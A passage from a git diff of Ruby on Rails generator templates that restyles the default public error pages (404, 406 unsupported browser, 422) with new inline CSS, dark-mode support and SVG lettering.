5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.963 5.095 11.963 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm13.428 11.0206h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.762-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm27.538-.8861v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.993-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.871 0-9.193-2.769-9.193-9.0819z" id="error-description"/></svg>
+      </header>
+      <article>
+        <p><strong>The server cannot process the request due to a client error.</strong> Please check the request and try again. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
index b612547fc21d0..d7f0f14222d10 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -1,67 +1,135 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>The page you were looking for doesn't exist (404)</title>
-  <meta name="viewport" content="width=device-width,initial-scale=1">
-  <style>
-  body {
-    background-color: #EFEFEF;
-    color: #2E2F30;
-    text-align: center;
-    font-family: arial, sans-serif;
-    margin: 0;
-  }
-
-  div.dialog {
-    width: 95%;
-    max-width: 33em;
-    margin: 4em auto 0;
-  }
-
-  div.dialog > div {
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #BBB;
-    border-top: #B00100 solid 4px;
-    border-top-left-radius: 9px;
-    border-top-right-radius: 9px;
-    background-color: white;
-    padding: 7px 12% 0;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-
-  h1 {
-    font-size: 100%;
-    color: #730E15;
-    line-height: 1.5em;
-  }
-
-  div.dialog > p {
-    margin: 0 0 1em;
-    padding: 1em;
-    background-color: #F7F7F7;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #999;
-    border-bottom-left-radius: 4px;
-    border-bottom-right-radius: 4px;
-    border-top-color: #DADADA;
-    color: #666;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-  </style>
-</head>
-
-<body>
-  <!-- This file lives in public/404.html -->
-  <div class="dialog">
-    <div>
-      <h1>The page you were looking for doesn't exist.</h1>
-      <p>You may have mistyped the address or the page may have moved.</p>
-    </div>
-    <p>If you are the application owner check the logs for more information.</p>
-  </div>
-</body>
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The page you were looking for doesn't exist (404 Not found)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100dvh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      #error-description {
+        fill: #d30001;
+      }
+
+      #error-id {
+        fill: #f0eff0;
+      }
+
+      @media (prefers-color-scheme: dark) {
+        body {
+          background: #101010;
+          color: #e0e0e0;
+        }
+
+        #error-description {
+          fill: #FF6161;
+        }
+
+        #error-id {
+          fill: #2c2c2c;
+        }
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/404.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm165.328-35.41581-45.689 100.02991h26.224v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.184v-31.901l50.285-103.27391z" id="error-id"/><path d="m157.758 68.9967v34.0033h-7.199l-14.233-19.8814v19.8814h-8.584v-34.0033h8.307l13.125 18.7184v-18.7184zm28.454 21.5428c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm13.184 3.8766v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm37.027 8.5839h-8.806v-34.0033h23.924v7.6978h-15.118v6.7564h13.9v7.5316h-13.9zm41.876-12.4605c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm35.337-12.4605v24.921h-8.695v-2.16c-1.329 1.551-3.821 2.714-6.646 2.714-5.482 0-8.75-3.5999-8.75-9.1379v-16.3371h8.64v14.288c0 2.1045.997 3.5997 3.212 3.5997 1.606 0 3.101-1.0522 3.544-2.769v-15.1187zm4.076 24.921v-24.921h8.694v2.1598c1.385-1.5506 3.822-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.639v-14.2327c0-2.049-1.053-3.5443-3.268-3.5443-1.717 0-3.156.9969-3.6 2.7136v15.0634zm44.113 0v-1.994c-1.163 1.329-3.6 2.548-6.147 2.548-7.2 0-11.132-5.8151-11.132-13.0145s3.932-13.0143 11.132-13.0143c2.547 0 4.984 1.2184 6.147 2.5475v-13.0697h8.695v35.997zm0-9.1931v-6.5902c-.665-1.3291-2.16-2.326-3.821-2.326-2.991 0-4.763 2.4368-4.763 5.6488s1.772 5.5934 4.763 5.5934c1.717 0 3.156-.9415 3.821-2.326z" id="error-description"/></svg>
+      </header>
+      <article>
+        <p><strong>The page you were looking for doesn't exist.</strong> You may have mistyped the address or the page may have moved. If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
 </html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/406-unsupported-browser.html b/railties/lib/rails/generators/rails/app/templates/public/406-unsupported-browser.html
new file mode 100644
index 0000000000000..43d2811e8c5ae
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/public/406-unsupported-browser.html
@@ -0,0 +1,135 @@
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>Your browser is not supported (406 Not Acceptable)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100dvh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      #error-description {
+        fill: #d30001;
+      }
+
+      #error-id {
+        fill: #f0eff0;
+      }
+
+      @media (prefers-color-scheme: dark) {
+        body {
+          background: #101010;
+          color: #e0e0e0;
+        }
+
+        #error-description {
+          fill: #FF6161;
+        }
+
+        #error-id {
+          fill: #2c2c2c;
+        }
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/406-unsupported-browser.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm115.583 168.69891c-40.822 0-64.884-35.146-64.884-85.7015 0-50.5554 24.062-85.700907 64.884-85.700907 40.823 0 64.884 35.145507 64.884 85.700907 0 50.5555-24.061 85.7015-64.884 85.7015zm0-133.2831c-17.572 0-22.709 21.8984-22.709 47.5816 0 25.6835 5.137 47.5815 22.709 47.5815 17.303 0 22.71-21.898 22.71-47.5815 0-25.6832-5.407-47.5816-22.71-47.5816zm202.906 9.7326h-41.093c-2.433-7.2994-7.84-12.4361-17.302-12.4361-16.221 0-25.413 17.5728-25.954 34.8752v1.3517c5.137-7.0291 16.221-12.4361 30.82-12.4361 33.524 0 54.881 24.0612 54.881 53.7998 0 33.253-23.791 58.396-61.64 58.396-21.628 0-39.741-10.003-50.825-27.576-9.733-14.599-13.788-32.442-13.788-54.3406 0-51.9072 24.331-89.485807 66.236-89.485807 32.712 0 53.258 18.654107 58.665 47.851907zm-82.727 66.2355c0 13.247 9.463 22.439 22.71 22.439 12.977 0 22.439-9.192 22.439-22.439 0-13.517-9.462-22.7091-22.439-22.7091-13.247 0-22.71 9.1921-22.71 22.7091z" id="error-id"/><path d="m100.761 68.9967v34.0033h-7.1991l-14.2326-19.8814v19.8814h-8.5839v-34.0033h8.307l13.125 18.7184v-18.7184zm28.454 21.5428c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm13.185 3.8766v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.205v6.7564h-5.205v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm39.02-25.4194h9.083l12.958 34.0033h-9.027l-2.436-6.5902h-12.35l-2.381 6.5902h-8.806zm4.431 10.5222-3.489 9.5807h6.978zm17.44 11.0206c0-7.6978 5.095-13.0143 12.572-13.0143 6.701 0 10.854 3.9874 11.574 9.8023h-8.418c-.221-1.4953-1.384-2.6029-3.156-2.6029-2.437 0-3.988 2.2706-3.988 5.8149s1.551 5.7595 3.988 5.7595c1.772 0 2.935-1.0522 3.156-2.5475h8.418c-.72 5.7596-4.873 9.8025-11.574 9.8025-7.477 0-12.572-5.3167-12.572-13.0145zm25.676 0c0-7.6978 5.095-13.0143 12.572-13.0143 6.701 0 10.854 3.9874 11.574 9.8023h-8.418c-.221-1.4953-1.384-2.6029-3.156-2.6029-2.437 0-3.988 2.2706-3.988 5.8149s1.551 5.7595 3.988 5.7595c1.772 0 2.935-1.0522 3.156-2.5475h8.418c-.72 5.7596-4.873 9.8025-11.574 9.8025-7.477 0-12.572-5.3167-12.572-13.0145zm42.013 3.7658h8.031c-.887 5.7597-5.206 9.2487-11.686 9.2487-7.642 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.317-13.0143 12.516-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.319 4.5965 1.773 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm23.4 16.7244v10.799h-8.694v-33.726h8.694v1.9937c1.163-1.3291 3.6-2.5475 6.148-2.5475 7.199 0 11.131 5.8703 11.131 13.0143 0 7.0886-3.932 13.0145-11.131 13.0145-2.548 0-4.985-1.219-6.148-2.548zm0-13.7893v6.5902c.665 1.3845 2.16 2.326 3.822 2.326 2.99 0 4.762-2.3814 4.762-5.5934s-1.772-5.6488-4.762-5.6488c-1.717 0-3.157.9969-3.822 2.326zm21.892 7.1994v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.206v6.7564h-5.206v8.307c0 1.9383.941 2.769 2.658 2.769.942 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm39.458 8.5839h-8.363v-1.274c-.83.831-3.322 1.717-5.981 1.717-4.928 0-9.082-2.769-9.082-8.0301 0-4.818 4.154-7.9193 9.581-7.9193 2.049 0 4.486.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.045-2.9905-1.606 0-2.548.7199-2.936 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 10.2453zm-8.363-6.9779v-1.4399c-.553-1.0522-2.049-1.7167-3.655-1.7167-1.716 0-3.433.7199-3.433 2.3813 0 1.7168 1.717 2.4367 3.433 2.4367 1.606 0 3.102-.6645 3.655-1.6614zm20.742 4.9839v1.994h-8.694v-35.997h8.694v13.0697c1.163-1.3291 3.6-2.5475 6.148-2.5475 7.199 0 11.131 5.8149 11.131 13.0143s-3.932 13.0145-11.131 13.0145c-2.548 0-4.985-1.219-6.148-2.548zm0-13.7893v6.5902c.665 1.3845 2.105 2.326 3.822 2.326 2.99 0 4.762-2.3814 4.762-5.5934s-1.772-5.6488-4.762-5.6488c-1.662 0-3.157.9969-3.822 2.326zm28.759-20.2137v35.997h-8.695v-35.997zm19.172 27.3023h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.384-3.5997-3.544-3.5997z" id="error-description"/></svg>
+      </header>
+      <article>
+        <p><strong>Your browser is not supported.</strong><br> Please upgrade your browser to continue.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
index a21f82b3bdb81..f12fb4aa1752e 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -1,67 +1,135 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>The change you wanted was rejected (422)</title>
-  <meta name="viewport" content="width=device-width,initial-scale=1">
-  <style>
-  body {
-    background-color: #EFEFEF;
-    color: #2E2F30;
-    text-align: center;
-    font-family: arial, sans-serif;
-    margin: 0;
-  }
-
-  div.dialog {
-    width: 95%;
-    max-width: 33em;
-    margin: 4em auto 0;
-  }
-
-  div.dialog > div {
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #BBB;
-    border-top: #B00100 solid 4px;
-    border-top-left-radius: 9px;
-    border-top-right-radius: 9px;
-    background-color: white;
-    padding: 7px 12% 0;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-
-  h1 {
-    font-size: 100%;
-    color: #730E15;
-    line-height: 1.5em;
-  }
-
-  div.dialog > p {
-    margin: 0 0 1em;
-    padding: 1em;
-    background-color: #F7F7F7;
-    border: 1px solid #CCC;
-    border-right-color: #999;
-    border-left-color: #999;
-    border-bottom-color: #999;
-    border-bottom-left-radius: 4px;
-    border-bottom-right-radius: 4px;
-    border-top-color: #DADADA;
-    color: #666;
-    box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
-  }
-  </style>
-</head>
-
-<body>
-  <!-- This file lives in public/422.html -->
-  <div class="dialog">
-    <div>
-      <h1>The change you wanted was rejected.</h1>
-      <p>Maybe you tried to change something you didn't have access to.</p>
-    </div>
-    <p>If you are the application owner check the logs for more information.</p>
-  </div>
-</body>
+<!doctype html>
+
+<html lang="en">
+
+  <head>
+
+    <title>The change you wanted was rejected (422 Unprocessable Entity)</title>
+
+    <meta charset="utf-8">
+    <meta name="viewport" content="initial-scale=1, width=device-width">
+    <meta name="robots" content="noindex, nofollow">
+
+    <style>
+
+      *, *::before, *::after {
+        box-sizing: border-box;
+      }
+
+      * {
+        margin: 0;
+      }
+
+      html {
+        font-size: 16px;
+      }
+
+      body {
+        background: #FFF;
+        color: #261B23;
+        display: grid;
+        font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, Aptos, Roboto, "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+        font-size: clamp(1rem, 2.5vw, 2rem);
+        -webkit-font-smoothing: antialiased;
+        font-style: normal;
+        font-weight: 400;
+        letter-spacing: -0.0025em;
+        line-height: 1.4;
+        min-height: 100dvh;
+        place-items: center;
+        text-rendering: optimizeLegibility;
+        -webkit-text-size-adjust: 100%;
+      }
+
+      #error-description {
+        fill: #d30001;
+      }
+
+      #error-id {
+        fill: #f0eff0;
+      }
+
+      @media (prefers-color-scheme: dark) {
+        body {
+          background: #101010;
+          color: #e0e0e0;
+        }
+
+        #error-description {
+          fill: #FF6161;
+        }
+
+        #error-id {
+          fill: #2c2c2c;
+        }
+      }
+
+      a {
+        color: inherit;
+        font-weight: 700;
+        text-decoration: underline;
+        text-underline-offset: 0.0925em;
+      }
+
+      b, strong {
+        font-weight: 700;
+      }
+
+      i, em {
+        font-style: italic;
+      }
+
+      main {
+        display: grid;
+        gap: 1em;
+        padding: 2em;
+        place-items: center;
+        text-align: center;
+      }
+
+      main header {
+        width: min(100%, 12em);
+      }
+
+      main header svg {
+        height: auto;
+        max-width: 100%;
+        width: 100%;
+      }
+
+      main article {
+        width: min(100%, 30em);
+      }
+
+      main article p {
+        font-size: 75%;
+      }
+
+      main article br {
+        display: none;
+
+        @media(min-width: 48em) {
+          display: inline;
+        }
+      }
+
+    </style>
+
+  </head>
+
+  <body>
+
+    <!-- This file lives in public/422.html -->
+
+    <main>
+      <header>
+        <svg height="172" viewBox="0 0 480 172" width="480" xmlns="http://www.w3.org/2000/svg"><path d="m124.48 3.00509-45.6889 100.02991h26.2239v-28.1168h38.119v28.1168h21.628v35.145h-21.628v30.82h-37.308v-30.82h-72.1833v-31.901l50.2851-103.27391zm130.453 51.63681c0-8.9215-6.218-15.4099-15.681-15.4099-10.273 0-15.95 7.5698-16.491 16.4913h-44.608c3.244-30.8199 25.683-55.421707 61.099-55.421707 36.498 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.869 36.7676-31.901 52.7186l-27.305 27.035h59.747v37.308h-120.306v-27.846l57.044-56.7736c11.084-11.8954 18.925-20.0059 18.925-29.7385zm140.455 0c0-8.9215-6.218-15.4099-15.68-15.4099-10.274 0-15.951 7.5698-16.492 16.4913h-44.608c3.245-30.8199 25.684-55.421707 61.1-55.421707 36.497 0 59.477 20.816907 59.477 51.636807 0 21.3577-14.87 36.7676-31.902 52.7186l-27.305 27.035h59.747v37.308h-120.305v-27.846l57.043-56.7736c11.085-11.8954 18.925-20.0059 18.925-29.7385z" id="error-id"/><path d="m19.3936 103.554c-8.9715 0-14.84183-5.0952-14.84183-14.4544v-20.1029h8.86083v19.3276c0 4.8181 2.2706 7.3102 5.981 7.3102 3.6551 0 5.9257-2.4921 5.9257-7.3102v-19.3276h8.8608v20.1583c0 9.3038-5.8149 14.399-14.7865 14.399zm18.734-.554v-24.921h8.6947v2.1598c1.3845-1.5506 3.8212-2.7136 6.701-2.7136 5.538 0 8.8054 3.5997 8.8054 9.1377v16.3371h-8.6393v-14.2327c0-2.049-1.0522-3.5443-3.2674-3.5443-1.7168 0-3.1567.9969-3.5997 2.7136v15.0634zm36.8584-1.994v10.799h-8.6946v-33.726h8.6946v1.9937c1.163-1.3291 3.5997-2.5475 6.1472-2.5475 7.1994 0 11.1314 5.8703 11.1314 13.0143 0 7.0886-3.932 13.0145-11.1314 13.0145-2.5475 0-4.9842-1.219-6.1472-2.548zm0-13.7893v6.5902c.6646 1.3845 2.1599 2.326 3.8213 2.326 2.9905 0 4.7626-2.3814 4.7626-5.5934s-1.7721-5.6488-4.7626-5.6488c-1.7168 0-3.1567.9969-3.8213 2.326zm36.789-9.2485v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.6949v-24.921h8.6949v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm26.769 12.5713c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.528 0c0-3.4336-1.496-5.8703-4.209-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.209-2.3813 4.209-5.8149zm10.352 0c0-7.6978 5.095-13.0143 12.571-13.0143 6.701 0 10.855 3.9874 11.574 9.8023h-8.417c-.222-1.4953-1.385-2.6029-3.157-2.6029-2.437 0-3.987 2.2706-3.987 5.8149s1.55 5.7595 3.987 5.7595c1.772 0 2.935-1.0522 3.157-2.5475h8.417c-.719 5.7596-4.873 9.8025-11.574 9.8025-7.476 0-12.571-5.3167-12.571-13.0145zm42.013 3.7658h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.544-3.5997zm13.428 11.0206h8.473c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.938-1.5506l-4.874-.9969c-4.153-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.74-8.2518zm24.269 0h8.474c.387 1.3845 1.606 2.1598 3.156 2.1598 1.44 0 2.548-.5538 2.548-1.7168 0-.9414-.72-1.2737-1.939-1.5506l-4.873-.9969c-4.154-.886-6.867-2.8797-6.867-7.2547 0-5.3165 4.763-8.4178 10.633-8.4178 6.812 0 10.522 3.1567 11.297 8.0855h-8.03c-.277-1.0522-1.052-1.9937-3.046-1.9937-1.273 0-2.326.5538-2.326 1.6614 0 .7753.554 1.163 1.717 1.3845l4.929 1.163c4.541 1.0522 6.978 3.4335 6.978 7.4763 0 5.3168-4.818 8.2518-10.91 8.2518-6.369 0-10.965-2.88-11.741-8.2518zm47.918 7.6978h-8.363v-1.274c-.831.831-3.323 1.717-5.981 1.717-4.929 0-9.082-2.769-9.082-8.0301 0-4.818 4.153-7.9193 9.581-7.9193 2.049 0 4.485.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.046-2.9905-1.606 0-2.547.7199-2.935 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 10.2453zm-8.363-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.434.7199-3.434 2.3813 0 1.7168 1.717 2.4367 3.434 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm20.742 4.9839v1.994h-8.695v-35.997h8.695v13.0697c1.163-1.3291 3.6-2.5475 6.147-2.5475 7.2 0 11.132 5.8149 11.132 13.0143s-3.932 13.0145-11.132 13.0145c-2.547 0-4.984-1.219-6.147-2.548zm0-13.7893v6.5902c.665 1.3845 2.105 2.326 3.821 2.326 2.991 0 4.763-2.3814 4.763-5.5934s-1.772-5.6488-4.763-5.6488c-1.661 0-3.156.9969-3.821 2.326zm28.759-20.2137v35.997h-8.695v-35.997zm19.172 27.3023h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.643 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.515-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.32 4.5965 1.772 0 3.156-.7753 3.655-2.4921zm-3.822-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm25.461-15.2849h24.311v7.6424h-15.561v5.3165h14.232v7.4763h-14.232v5.8703h15.561v7.6978h-24.311zm27.942 34.0033v-24.921h8.694v2.1598c1.385-1.5506 3.822-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.639v-14.2327c0-2.049-1.053-3.5443-3.268-3.5443-1.717 0-3.157.9969-3.6 2.7136v15.0634zm29.991-8.5839v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.206v6.7564h-5.206v8.307c0 1.9383.941 2.769 2.658 2.769.942 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm26.161-16.3371v24.921h-8.694v-24.921zm.61-6.7564c0 2.8244-2.271 4.652-4.929 4.652s-4.929-1.8276-4.929-4.652c0-2.8797 2.271-4.7073 4.929-4.7073s4.929 1.8276 4.929 4.7073zm5.382 23.0935v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.584v6.8671h5.206v6.7564h-5.206v8.307c0 1.9383.941 2.769 2.658 2.769.941 0 1.994-.2216 2.769-.5538v7.3654c-.997.443-2.88.775-4.818.775-5.87 0-9.193-2.769-9.193-9.0819zm29.22 